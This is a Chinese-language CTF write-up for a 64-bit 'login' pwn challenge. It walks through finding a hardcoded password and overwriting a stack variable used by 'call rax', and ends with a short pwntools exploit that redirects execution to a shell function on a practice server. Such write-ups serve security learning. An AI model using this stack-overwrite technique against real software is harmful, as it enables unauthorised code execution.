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首先进行题目检查

 

64位文件，开了canary和NX

丢进IDA
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main函数比较多，先跑跑程序看看干嘛的

要求输入用户名和密码，怪不得题目叫登录

仔细查看main函数

 

看到往V9里写入了2jctf_pa5sw0rd并且在16行把admin和v9作为参数传入了Admin::Admin函数

看来用户名就是admin密码应该是2jctf_pa5sw0rd了

再跑一次



依旧没啥用

 

看到了shell，接下来想办法给程序转到这个函数

这里函数太多花了一天也没看出啥，就借鉴了几个师傅的writeup

才知道在检查密码出处存在问题

查看password_checker函数的二进制源码看到函数调用了call rax

如果把rax里的内容换成shell函数所在的地址，我们将直接获得shell

逆向分析看到把var_18的值传到了rax里 

这样一来，我们先输入用户名admin并通过输入密码把shell的地址写入var_18，让password_checker函数直接
调用shell函数就能获得shell

查看read_password函数，看到密码s和var_18在栈上的分布

 相差0x60-0x18,而密码2jctf_pa5sw0rd长度为14，所以在输入完密码后再填充0x60-0x18-14就到了var_18

比较难受的是我用a填充时总是跑不出来，最后用\00填充才算成功

exp如下：



from pwn import *
p=remote("node4.buuoj.cn",29033)
context.log_level = 'debug'
p.sendline("admin")#首先输入用户名admin
payload=b"2jctf_pa5sw0rd"+b"\00"*(0x60-0x18-14)+p64(0x400e88)#传入密码并用\00进行填充把shell写入var_18中
p.sendline(payload)
p.interactive()
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